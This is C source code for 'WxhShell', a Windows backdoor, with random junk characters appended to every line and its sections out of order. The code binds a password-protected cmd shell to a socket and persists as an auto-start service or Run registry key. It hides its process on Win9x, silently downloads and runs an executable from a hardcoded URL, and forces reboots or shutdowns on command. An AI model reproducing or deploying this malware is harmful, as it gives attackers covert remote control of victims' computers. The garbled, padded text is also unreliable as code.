    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &sdx`,  
    else { "H$@b`)  
    closesocket(wsh); ] opto  
    ExitThread(0); *,&S',S-  
    } 'AWp6L@  
    break; kutJd{68  
    } N}DL(-SQ3  
  // 获取shell "W5rx8a  
  case 's': { 0p `")/  
    CmdShell(wsh); n+rM"Gxz  
    closesocket(wsh); `c9'0*-  
    ExitThread(0); yPN+W8}f  
    break; 2T?TM! \Q  
  } +(&|uq^  
  // 退出 f3 vF"O  
  case 'x': { H99xZxHZ{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A? r^V2+j  
    CloseIt(wsh); KUFz:&wK  
    break; {E~Xd  
    } bcn7,ht  
  // 离开 ' %&z.{  
  case 'q': { |z*>ixK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'fn$'CeM(  
    closesocket(wsh); *VDVC0R  
    WSACleanup(); "mA1H]r3  
    exit(1); )~dOmfw%|  
    break; p/&HUQQk  
        } 0X>T+A[E  
  } 9@'4P  
  } /[{auUxSX  
GW/WUzK  
  // 提示信息 ;A"\?i Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Oc -aa  
} oj@g2H5P  
  } `{o$F ::(  
;7j,MbU  
  return; d}+W"j;  
} ^{[[Z.&R?  
WFDCPQ@  
// shell模块句柄 f3#X0.':  
int CmdShell(SOCKET sock) eGvOA\y:  
{ BIj   
STARTUPINFO si; 7n&yv9"  
ZeroMemory(&si,sizeof(si)); oKa>.e7.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sLhDO'kM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D/:3R ZF  
PROCESS_INFORMATION ProcessInfo; q.T:0|  
char cmdline[]="cmd"; 6$RpV'xz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X=,6d9,  
  return 0; " " %#cDR  
} -?fR|[\[U  
0Oap39  
// 自身启动模式 ti2  
int StartFromService(void) ^P$7A]!  
{ vD26;S.y[a  
typedef struct Yqj+hC6>,  
{ :1_mfX  
  DWORD ExitStatus; p6[ (81  
  DWORD PebBaseAddress;  }_%P6  
  DWORD AffinityMask; "+h/-2rA  
  DWORD BasePriority; Pm?B 9S  
  ULONG UniqueProcessId; |^Kjz{  
  ULONG InheritedFromUniqueProcessId; "% Y u wMY  
}   PROCESS_BASIC_INFORMATION; 8xTix1u0  
Y[G9Vok VX  
PROCNTQSIP NtQueryInformationProcess; sE9Ckc5  
Oy$<QXj/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Uw <{i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  hY=I5[*  
;_tO+xL&  
  HANDLE             hProcess; vr4S9`,  
  PROCESS_BASIC_INFORMATION pbi; . \F7tc8?  
~L'nz quF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a.,_4;'UE1  
  if(NULL == hInst ) return 0;  AP w6  
E474l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @O/,a7Tt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R|Y~u*D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %),!2_ x~  
M[s\E4l:t  
  if (!NtQueryInformationProcess) return 0; Z %EQt  
o , LK[Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K\^&+7&zVg  
  if(!hProcess) return 0; jVYH;B%%z  
LdEE+"Jw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z*eoA  
}\Z5{OA  
  CloseHandle(hProcess); qjLo&2)  
;rHz;]si  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @q)E=G1<o0  
if(hProcess==NULL) return 0; N-%#\rPq.  
!01i%W'  
HMODULE hMod; =l,#iYJP8  
char procName[255]; x+^Vg3 q  
unsigned long cbNeeded; r/Dd& x  
";dU-\3M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %U?)?iZdL  
sTOFw;v%  
  CloseHandle(hProcess); 7$_ :sJ  
38wq (  
if(strstr(procName,"services")) return 1; // 以服务启动 &7Kb]Ti  
/ O)6iJ  
  return 0; // 注册表启动 =v 0~[ E4  
} )!,@m>0v{  
\EI#az=I  
// 主模块 o#}mkE87  
int StartWxhshell(LPSTR lpCmdLine) s=U\_koyH  
{ iZC`z }  
  SOCKET wsl; ]!aUT&  
BOOL val=TRUE; !*bdG(pK  
  int port=0; PbEQkjE  
  struct sockaddr_in door; )7AM3%z1?  
 XhA4:t  
  if(wscfg.ws_autoins) Install(); ^c'f<<z|7r  
WZK :.y  
port=atoi(lpCmdLine); ZIW7_Y>_  
f?-J#x)  
if(port<=0) port=wscfg.ws_port; (9'be\  
,qu:<  
  WSADATA data; ?*+1~m>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {(0Id!  
)_Iz>)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -TZ^~s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3?^NN|xg  
  door.sin_family = AF_INET; . s-5N\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t= *Jg/$  
  door.sin_port = htons(port); )Ga8`t"  
T 9MzUV&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' &N20w  
closesocket(wsl); DaCblX  
return 1; y#e ?iE@  
} |0]YA  
U!NI_uk  
  if(listen(wsl,2) == INVALID_SOCKET) { D2$^"  
closesocket(wsl); %ET # z!  
return 1; eA&t %  
} X TM$a9)  
  Wxhshell(wsl); -;ER`Jqs,  
  WSACleanup(); kwc*is  
"$P'Wv  
return 0; P eHW[\)  
?sE@]]z  
} ``6{T1fQS  
K4Y'B o4  
// 以NT服务方式启动 SdSgn|S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (gD Q\t@3-  
{ ?-S8yqe  
DWORD   status = 0; Lz?*B$h  
  DWORD   specificError = 0xfffffff; HoL~j({  
Q-3r}jJe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i)[kubM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !YY 6o V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7|{ B#  
  serviceStatus.dwWin32ExitCode     = 0; @o60 c  
  serviceStatus.dwServiceSpecificExitCode = 0; ETxp# PZ  
  serviceStatus.dwCheckPoint       = 0; `ReGnT[  
  serviceStatus.dwWaitHint       = 0; Ej{+U  
G"{4'LlA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v` $%G  
  if (hServiceStatusHandle==0) return; S7Znz@  
df^0{gNHx  
status = GetLastError(); ^K"ZJ6?+1  
  if (status!=NO_ERROR) }|SIHz!R  
{ 'V1!&Q6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .(JE-upJ"  
    serviceStatus.dwCheckPoint       = 0; B#QL M^  
    serviceStatus.dwWaitHint       = 0; jmSt?M0.xV  
    serviceStatus.dwWin32ExitCode     = status; sbgJw  
    serviceStatus.dwServiceSpecificExitCode = specificError; <r_3obRC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?THa5%8f  
    return; ,}u,)7  
  } \zBd<H4S:  
VZHr-z$6n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qg[heND  
  serviceStatus.dwCheckPoint       = 0; (x}A_ i  
  serviceStatus.dwWaitHint       = 0; '^e0Ud,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zf`5>h|  
} ^)Smv\Md  
v: giZxR  
// 处理NT服务事件,比如:启动、停止 J_|7$ l/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gAj0ukX5  
{ Y$>+U  
switch(fdwControl) cD5w| rm?i  
{ X {#bJ  
case SERVICE_CONTROL_STOP: KuIkul9^%  
  serviceStatus.dwWin32ExitCode = 0; Ih(:HFRMq6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fn3*2  
  serviceStatus.dwCheckPoint   = 0; GahaZ F  
  serviceStatus.dwWaitHint     = 0; aXQ&@BZ {j  
  { =sxkrih  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+*osk  
  } *@CVYJ'<  
  return; 1]"D%U=  
case SERVICE_CONTROL_PAUSE: dUI3erO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hJecCOA)'  
  break; ]U_5\$  
case SERVICE_CONTROL_CONTINUE: mp!YNI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1aBD^^Y  
  break; {F<)z% ^  
case SERVICE_CONTROL_INTERROGATE: ,m2A p\l  
  break; joxS+P5#  
}; ${wU+E*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O'"YJ,  
} -K:yU4V  
Lc58lV=  
// 标准应用程序主函数 F(J\ctha  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h1n*WQ-  
{ ,jAx%]@,I  
mfj4`3:NV  
// 获取操作系统版本 eLCdAr  
OsIsNt=GetOsVer(); xt? 3_?1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &B?@@ 6  
~D<7W4c  
  // 从命令行安装 n;e."^5  
  if(strpbrk(lpCmdLine,"iI")) Install(); ) ~ l\  
{CW1t5$*  
  // 下载执行文件 >L#];|  
if(wscfg.ws_downexe) { v]B0!k&4.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) co \[{}}  
  WinExec(wscfg.ws_filenam,SW_HIDE); d\v$%0  
} 3?!G-  
*!._Ais,\  
if(!OsIsNt) { ;M%oQ> ].[  
// 如果时win9x,隐藏进程并且设置为注册表启动 5oVLv4Z9u  
HideProc(); jjJc1p0  
StartWxhshell(lpCmdLine); MDMtOfe|  
} ;n% ]*v  
else Zkf 3t>[  
  if(StartFromService()) G> f^ 2  
  // 以服务方式启动 hubfK~  
  StartServiceCtrlDispatcher(DispatchTable); aQ.Iq  
else !F=|*j  
  // 普通方式启动 (%``EIc<8  
  StartWxhshell(lpCmdLine); p:DL:^zx  
+ AE&GU  
return 0; 0!9?H1>  
} '"!z$i~G=  
AZh@t?)  
BNAguAxWo  
<;2P._oZ  
=========================================== 1Z^`l6|2  
tebWj>+1c  
!!?+M @  
(|yRo  
$=e&q  
,Y+r<;  
" ek<PISlci  
.b =M5JsyV  
#include <stdio.h> 'hwV   
#include <string.h> tIn7(C  
#include <windows.h> >P6^k!R1y  
#include <winsock2.h> !Iw{Y'  
#include <winsvc.h> Q3<bC6$r  
#include <urlmon.h> fhBO~o+K>  
m#5|J@]  
#pragma comment (lib, "Ws2_32.lib") Wrf^O2  
#pragma comment (lib, "urlmon.lib") 9;E%U2T7  
&+)+5z_d  
#define MAX_USER   100 // 最大客户端连接数 W~XV  
#define BUF_SOCK   200 // sock buffer 9 _M H  
#define KEY_BUFF   255 // 输入 buffer 8ktjDs$=.:  
jI*}y[o  
#define REBOOT     0   // 重启 HGP%a1RF#  
#define SHUTDOWN   1   // 关机 _H~pH7WU  
.u&&H_ UmE  
#define DEF_PORT   5000 // 监听端口 u4b3bH9U  
C:'WX*W  
#define REG_LEN     16   // 注册表键长度 ?~VWW<lR  
#define SVC_LEN     80   // NT服务名长度 LG/=+[\{E  
[?|l X$<  
// 从dll定义API 2]of SdM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VYl_U?D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gmF_~"^34  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h/0<:eZ*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &y#\1K  
rE1np^z7  
// wxhshell配置信息 Pi&fwGL  
struct WSCFG { #hy5c,}>  
  int ws_port;         // 监听端口 LW83Y/7  
  char ws_passstr[REG_LEN]; // 口令  |0C|$2  
  int ws_autoins;       // 安装标记, 1=yes 0=no )V[w:=*  
  char ws_regname[REG_LEN]; // 注册表键名 2- Npw%;  
  char ws_svcname[REG_LEN]; // 服务名 p"hm.=,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hQg,#r(JE4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 < '>d0:>N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %KabyvOl)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u):%5F/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E>l#0Zw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ),D`ZRXS  
G<">/_jn  
}; E i\J9zt  
2g ?Jb5)  
// default Wxhshell configuration r 48;_4d)D  
struct WSCFG wscfg={DEF_PORT, *7xQp!w^  
    "xuhuanlingzhe", DU*g~{8T$  
    1, dN$D6*  
    "Wxhshell", 323yAF  
    "Wxhshell", _-|yCo  
            "WxhShell Service", 3%vx' 1h[  
    "Wrsky Windows CmdShell Service", |h^G$guw  
    "Please Input Your Password: ", Zi<Sw  
  1, H649J)v+m  
  "http://www.wrsky.com/wxhshell.exe", cdek^/  
  "Wxhshell.exe" T0*TTB&b  
    }; y:i[~y  
m5'__<  
// 消息定义模块 NR;S3-Iq(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7b7%(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >"sKfiM)b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  hZss  
char *msg_ws_ext="\n\rExit."; /\3XARt  
char *msg_ws_end="\n\rQuit."; %CsTB0Y7n,  
char *msg_ws_boot="\n\rReboot..."; 8CnvvMf  
char *msg_ws_poff="\n\rShutdown..."; Vne. HFXA  
char *msg_ws_down="\n\rSave to "; U47k5s(J  
st'?3A  
char *msg_ws_err="\n\rErr!"; 35@Ibe~  
char *msg_ws_ok="\n\rOK!"; \fM!^  
P5 <85t  
char ExeFile[MAX_PATH]; 8ZNd|\  
int nUser = 0; mISu o  
HANDLE handles[MAX_USER]; J<5vs3[9  
int OsIsNt; zM8/ s96h  
bb O;AiHD  
SERVICE_STATUS       serviceStatus; _!CvtUU0Vv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w=P <4 bdT  
]Gd]KP@S  
// 函数声明 9/X v&<Tn  
int Install(void); PU@U@  
int Uninstall(void); |$|nV^y  
int DownloadFile(char *sURL, SOCKET wsh); 6q  xUT  
int Boot(int flag); %. 6?\w1e  
void HideProc(void); T h- vG  
int GetOsVer(void); 9V4V}[%  
int Wxhshell(SOCKET wsl); 'bY|$\I  
void TalkWithClient(void *cs); @R-~zOv  
int CmdShell(SOCKET sock); <1'X)n&Kw$  
int StartFromService(void); B'BbTI,  
int StartWxhshell(LPSTR lpCmdLine); tpx3:|  
E*T84Jh6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]BS{,sI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2G:{FY  
kAQ\t?`x  
// 数据结构和表定义 uTlT'9)  
SERVICE_TABLE_ENTRY DispatchTable[] = 5Ret,~Vs9|  
{ 3_1Io+uXk  
{wscfg.ws_svcname, NTServiceMain}, :#&U95EC0  
{NULL, NULL} S,<.!v57  
}; @Qsg.9N3K  
B43#9CK`o  
// 自我安装 A'AWuj\r2R  
int Install(void) sp |y/r#  
{ u%IKM \  
  char svExeFile[MAX_PATH]; X)R] a]1A  
  HKEY key; g7Q*KA+  
  strcpy(svExeFile,ExeFile); 0Eg r Q  
3v3Va~fm`  
// 如果是win9x系统,修改注册表设为自启动 9q@YE_ji  
if(!OsIsNt) { #y9K-}u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I(kIHjV|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .LTFa.jxA  
  RegCloseKey(key); R^O)fL0_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !VZCM{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H2_>Av{m  
  RegCloseKey(key); (lck6v?h  
  return 0; eEZlVHM;O  
    } I;m@cSJ|j  
  } fD}]Mi:V  
} Qs[EA_  
else { 8RT0&[  
p YvF}8  
// 如果是NT以上系统,安装为系统服务 jxOVH+?l%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -Aym+N9  
if (schSCManager!=0) U[ O!&:6  
{ Hf]}OvT>Z  
  SC_HANDLE schService = CreateService y?4=u,{C  
  ( NeZYchR  
  schSCManager, [Ik B/Xbw|  
  wscfg.ws_svcname, W oG  
  wscfg.ws_svcdisp, pO+wJ|f  
  SERVICE_ALL_ACCESS, oW1olmpp=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (2\ekct ^  
  SERVICE_AUTO_START, 2<./HH*f  
  SERVICE_ERROR_NORMAL, EBE>&{%$^  
  svExeFile, r|BKp,u9  
  NULL, $zA[5}{ZtQ  
  NULL, -ddatc|  
  NULL, LO*a>9LI  
  NULL, {ZI6!zh'  
  NULL ` Z V'7|  
  ); Fm~}A4  
  if (schService!=0) >h-6B=  
  { 5*'N Q010  
  CloseServiceHandle(schService); w}<I\*\`!  
  CloseServiceHandle(schSCManager); SL 5DWZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TK?N^ly  
  strcat(svExeFile,wscfg.ws_svcname); c)~|#v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X"59`Yh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dOgM9P  
  RegCloseKey(key); qGUe0(  
  return 0; `.Q3s?1F  
    } & b2(Y4  
  } (D3m5fO  
  CloseServiceHandle(schSCManager); j 0NPd^  
} GB Un" _J  
} .tZ$a_O  
6j![m+vo%  
return 1; ZlXs7 &_  
} 2_ DtzY:=  
G2k71{jK  
// 自我卸载 QZP;k!"w  
int Uninstall(void) 3ZZI1_j  
{ vv_?ip:t  
  HKEY key; 9jBr868  
)Em,3I/.l  
if(!OsIsNt) { AMfu|%ZL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Jb$AA! z  
  RegDeleteValue(key,wscfg.ws_regname); k(^b  
  RegCloseKey(key); t $%}*@x7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e.h:9` "*  
  RegDeleteValue(key,wscfg.ws_regname); :Dm@3S$4<  
  RegCloseKey(key); ;:1mv  
  return 0; >u[ln@ l  
  } 1 .k}gl0<  
} 6-}9m7#Y  
} |,f6c Om f  
else { CtxK{:  
KwyXM9h6=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (P_+m#  
if (schSCManager!=0) P1jkoJ  
{ SjU6+|l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %%u4( '=  
  if (schService!=0) p gi7 JQ  
  { Dne&YVF9V  
  if(DeleteService(schService)!=0) { =]Bm>67"  
  CloseServiceHandle(schService); ;W:Q}[  
  CloseServiceHandle(schSCManager); 7MfvU|D[d/  
  return 0; s#sX r  
  } _en8hi@Z  
  CloseServiceHandle(schService); W`kgYGnFG  
  } 8i"fhN3?Y  
  CloseServiceHandle(schSCManager); bZJiubBRI  
} 5lbh "m=  
} A&#Bf#!G  
jws(`mIf\  
return 1; U[u6UG  
} ~yg9ZM  
[ j_jee  
// 从指定url下载文件 8'62[e|=7[  
int DownloadFile(char *sURL, SOCKET wsh) wVB8PO8  
{ p`0Tpgi  
  HRESULT hr; F.9|$g*ip  
char seps[]= "/"; \zU R9h  
char *token; g;1 UZE;  
char *file; v%w]Q B  
char myURL[MAX_PATH]; FeJ5^Gh.  
char myFILE[MAX_PATH]; JKGZ0yn  
|,crQ'N'  
strcpy(myURL,sURL); O jmz/W  
  token=strtok(myURL,seps); 9:WKG'E8a  
  while(token!=NULL) Ar_/9@n  
  { uq_SF.a'v  
    file=token; aY~IS?! ;  
  token=strtok(NULL,seps); r}w 9?s^rB  
  } j- -#vEW  
yO)Qg* r  
GetCurrentDirectory(MAX_PATH,myFILE); :A[/;|&  
strcat(myFILE, "\\"); sQ$FtKm6  
strcat(myFILE, file); g$qh(Z_s  
  send(wsh,myFILE,strlen(myFILE),0); 8,Z0J  
send(wsh,"...",3,0); }HzZj;O^2>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \v<}{\.|$  
  if(hr==S_OK) [S%  
return 0; &+sN= J.x  
else jdzV&  
return 1; uo^>95lkv  
:d;5Q\C`  
} aap:~F{]X  
J&?kezs  
// 系统电源模块 -MZ Eli g  
int Boot(int flag) &N#)(rQ1  
{ dK-G%5)r  
  HANDLE hToken; b]~M$y60q  
  TOKEN_PRIVILEGES tkp; [ kknY+n1  
(.cT<(TB  
  if(OsIsNt) { b({2|R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x+&&[>-P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l40$}!!<  
    tkp.PrivilegeCount = 1; F^ f]*MhT"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >Y:ouN~<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z"-Urd^O  
if(flag==REBOOT) { 9f "*O j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 B )   
  return 0; s}.nh>Q  
} ]lo O5  
else { >wn&+%i&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rtI4W  
  return 0; z<ek?0?yS  
} &HE8O}<>  
  } &sW/r::,  
  else { zAH+{4lC+  
if(flag==REBOOT) { ;RrfE8mGj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Av'H(qB\K  
  return 0; |(/"IS]  
} ,Ubnz  
else { 9}4L 8?2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \l:n  
  return 0; :KFhryN  
} 0YS*=J"7z  
} =($qiL'h  
e'jR<ln|  
return 1; au8) G_A  
} $R^"~|m3M  
\3KCZ  
// win9x进程隐藏模块 zIL.R#|D=  
void HideProc(void) xsa* XR  
{ Mfgd;FsX#  
ZK;HW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z/0M9 Q%  
  if ( hKernel != NULL ) f_ ::?  
  { FGZOn5U6'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `pKQ|zGw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H1X6f7`  
    FreeLibrary(hKernel); F8pLA@7[  
  } ^Ab|\ 5^3  
{u:DC4eut  
return; wk3yz6V2  
} ?e BN_a,r6  
7~IAgjo,@  
// 获取操作系统版本 `527vK 6  
int GetOsVer(void) xD~:= ]G  
{ A5z`3T;1  
  OSVERSIONINFO winfo; lAoH@+dyA+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rUj]6j=e  
  GetVersionEx(&winfo); 1|zo -'y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $,R|$0B7  
  return 1; [1s B  
  else {6n B83BB  
  return 0; Oh|Hy/&6W  
} P'g$F<~V  
d`Wd"LJ=  
// 客户端句柄模块 fFsA[@5tul  
int Wxhshell(SOCKET wsl)  _G`kj{J  
{ kQYX[e7n  
  SOCKET wsh; #/YKA{  
  struct sockaddr_in client; H3&$:h  
  DWORD myID; <Q%\ pAP}b  
7ZN0_Q s  
  while(nUser<MAX_USER) D].1X0^hp  
{ B[8  
  int nSize=sizeof(client); JD,/oL.KA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ru2kC} Dx!  
  if(wsh==INVALID_SOCKET) return 1; xFgY#F  
'H97D-86/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3C5<MxtK  
if(handles[nUser]==0) AuWEy-q?  
  closesocket(wsh); |E|d"_Ma  
else <D=U=5  
  nUser++; YX- G>.Pc  
  } Td?a=yu:J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dZ_Hj X7  
!A g W @  
  return 0; 10t9Qv/  
} 9z,V]v=  
Kk-A?ju@g  
// 关闭 socket tvavI9  
void CloseIt(SOCKET wsh) y1z4qSeM  
{ R0 AVAUG  
closesocket(wsh); r;SA1n#  
nUser--; e0qU2  
ExitThread(0); cjp H hoW  
} !Yd7&#s  
.r$d 8J  
// 客户端请求句柄 6o!+E@V b  
void TalkWithClient(void *cs) % ,1bh  
{ CB\E@u,  
rISg`-  
  SOCKET wsh=(SOCKET)cs; @.@O#  
  char pwd[SVC_LEN]; {L4ta~2/T  
  char cmd[KEY_BUFF]; DavpjwSn  
char chr[1]; [HLXWu3  
int i,j; 9Eu.Y  
[AA'Ko  
  while (nUser < MAX_USER) { OLg=kF[[  
4'_PLOgnX  
if(wscfg.ws_passstr) { EA) K"C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rI23e[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5R"iF+p4  
  //ZeroMemory(pwd,KEY_BUFF); "Y-_83  
      i=0; R9xhO!   
  while(i<SVC_LEN) { YEqZ((H  
/N>f#:}  
  // 设置超时 ]rY:C "#  
  fd_set FdRead; @|BaZq,g  
  struct timeval TimeOut; xy;u"JY*  
  FD_ZERO(&FdRead); ?%K7IJ%  
  FD_SET(wsh,&FdRead); .W>LEz'  
  TimeOut.tv_sec=8; U|Z Yoc+](  
  TimeOut.tv_usec=0; mhpaPin*JS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i-Er|u; W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )i|0Ubn[|  
:rR)rj'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f2ea|l  
  pwd=chr[0]; a/p} ?!\  
  if(chr[0]==0xd || chr[0]==0xa) { +J [<zxh\  
  pwd=0; &BxDS .  
  break; ;=r_R!d@  
  } awu18(;J  
  i++; 3}hJ`xQ  
    } ePLpGT  
-9)H [}.  
  // 如果是非法用户,关闭 socket C ^QpVt-T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (t[sSl  
} z'"e|)  
xNAX)v3Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?5VPV9EX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g  Z!q  
Z/G`8|A  
while(1) { skeH~-`M@  
X?f\j"v  
  ZeroMemory(cmd,KEY_BUFF); {$AwG#kt  
}o,-@R~  
      // 自动支持客户端 telnet标准   1|bg;X9+  
  j=0; v0q(k;Ya  
  while(j<KEY_BUFF) { {#U 3A_y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sx1w5rj.Y0  
  cmd[j]=chr[0]; <dd XvUCX  
  if(chr[0]==0xa || chr[0]==0xd) { >a%C'H.A9  
  cmd[j]=0; @y1:=["b  
  break; /Pv dP#!  
  } -F7P$/9  
  j++; &d sXK~9M>  
    } 9u0<$UY%  
omu )s '8  
  // 下载文件 @h=r;N#/`P  
  if(strstr(cmd,"http://")) { 15J t @{<r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W6^YFN  
  if(DownloadFile(cmd,wsh)) h[(.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u; G-46  
  else Qo\+FkhYq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Z6ngS  
  } Q ym=L(X  
  else { Xte"tf9(C  
'5etZ!:  
    switch(cmd[0]) { AGGNJ4m  
  b|Sjh;  
  // 帮助 wX+KW0|>  
  case '?': { 4Ai#$SHLm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eKvQS}11  
    break; bIy:~z5   
